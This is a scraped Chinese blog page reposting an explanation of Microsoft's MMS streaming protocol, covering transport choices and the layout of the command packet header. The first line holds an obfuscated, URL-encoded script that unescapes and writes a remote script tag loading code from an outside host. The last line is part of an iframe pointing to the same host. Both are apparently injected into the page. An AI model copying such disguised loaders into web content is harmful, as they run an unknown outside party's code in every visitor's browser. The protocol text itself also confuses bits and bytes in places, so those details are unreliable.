HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
MMS协议解析1(zz)
转自
http://publishblog.blogchina.com/blog/tb.b?diaryID=5400413
简介
可以传输音、视频的通用服务器有两种,都有各自的优缺点。分别是:标准
WEB
服务器和流媒体服务器。标准
WEB
服务器使用
HTTP
协议。流媒体服务器使用两种协议提供媒体服务。这两种协议分别是
HTTP1.0
或
1.1
以及
MMS(Multi Media Server)
协议。流媒体服务器使用的
HTTP
协议是经过修改的版本,扩展了语法命令以支持实时传输。这是普通
HTTP
所不支持的。
使用两种协议提供媒体服务和
WEB
服务器有着显著区别。一个区别是在
WEB
服务器上使用标准
HTTP
协议的数据不需要一个特殊的服务器和软件进行浏览甚至下载。另外一个区别是使用
MMS
(例如
Microsoft Windows Media Services
)的流媒体服务器通过流形式提供媒体给使用者。流媒体服务器可以处理大量数据。
MMS
是什么
MMS
是微软的私有流媒体协议。它的最初目的是通过网络传输多媒体广播、视频、音轨、现场直播和一系列的实时或实况材料。使用这个协议的观众可以通过电脑观看电视图像或音轨。微软为有网络连接的家用电脑使用者开发了免费软件。
MMS
建立在
UDP
或
TCP
传输/网络层上,是属于应用层的。
使用
TCP
的
MMS
上
URL
是
MMS://
或者
MMST://,
如果是
UDP
的
MMS
使用
MMSU://
。在低带宽的情况下推荐使用
UDP
连接。
HTTP
带有大量的头信息,
UDP
一般不能通过防火墙,在有防火墙的情况下使用
HTTP
。
TCP
的无差错特性是非常诱人的,它的吞吐量比
UDP
小,但是在下载
MMS
的时候
TCP
是不二的选择。
哈!看起来开始有趣了!
到目前为止还没有关于
MMS
协议的任何有效的细节。网络搜索和库阅读也是徒劳无功的。微软不打算就
MMS
的内容发表任何看法。这真是水到山前疑无路,从使用HTTP协议的流媒体服务器上下载流信息已经成为了可能,使用
MMS
协议的服务器还只能‘在线观看‘,事实上,也只是目前为止!
让我们从这里开始--包和流
MMS
协议是以包和数据块的形式从服务器向使用者发送数据到你的计算机上。服务器上的媒体文件是以
ASF
或
WMA
形式存在。直播通过流媒体服务器组装成数据包。如果是
TV/
视频的话,一个包可能会由多个流组成,但是语音广播就只有一个流。可以认为多个流是被混合到了一个实际的包中。包中发送的流取决于媒体类型。下面会涉及到更多关于流的内容。
MMS
协议包有两种:命令包和数据包。
首先,让我们来处理命令包
MMS
协议使用一段命令来完成多种人物,比如:连接到流服务器、请求文件、丢包重传请求及类似事宜。这是应用层协议,在这一层上媒体使用者和服务器进行通讯。这些都要传输到使用者。
MMS
命令包头
下面分析
MMS
包头结构。以下是小端格式。左边
=LSB,
右边=
MSB
。
0f 00 00 00
就相当于
0f
。
开始
---->
4bytes = 01 00 00 [00]
从
client
发出的格式是固定的。
[00]
域从服务器发出的时候是可以发生变化的。现在不能理解这个比特的含义--总是
0
,可能是版本号。
4bytes = CE FA 0B B0
命令
ID
值,或许是版本或者序列号。这总是固定的。如果你按照大端来读就是“
Boob Face”.
可能是巧合吧。
4bytes
命令数据包长度,计算到全部数据末尾。单位为比特,从协议类型域之后开始计算。
4bytes = 4D 4D 53 20
协议类型,固定值为
MMS<
空格
>
的
ASCII
。
4 bytes
直到包尾的长度,
8
比特为单位。包含自身数据域。例如,
8bytes,value = 1
。
4 bytes
序列号。命令是由客户端发向服务器的,序列号的计数从
0
开始。命令的响应拥有同样的序列号。也就是说序列号就是
ECHO
。客户端总是发起命令。
8 bytes
双精度时间戳,用于网络时序。
4 bytes
到包尾的长度,单位为
8
比特。包括自身。例如,
8 bytes ,value = 1
。
Comm 2bytes | Dir 2bytes
标志命令方向流的值。命令值含义参考
MMS
命令列表。对于方向域,
0x03 =
向服务器,
0x02 =
向客户端。
---->
长度为
40
比特的命令头到此为止。
命令包长度跟在其后,先是‘
prefix 1’
然后是‘
prefix 2’
,接下来直到命令包结束都是‘
command specific data’
。命令指定数据可以是字符串文本‘
Unicode 16bit’,
或者是
raw 8
位数据。在
prefix
数据解说之后可以看到命令特定数据段含义。
命令包通常都包括上述内容,最小字节是
40
。命令包头是作为命令发送的最小包。注意:包长域包括到包末尾所有的
padding
。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">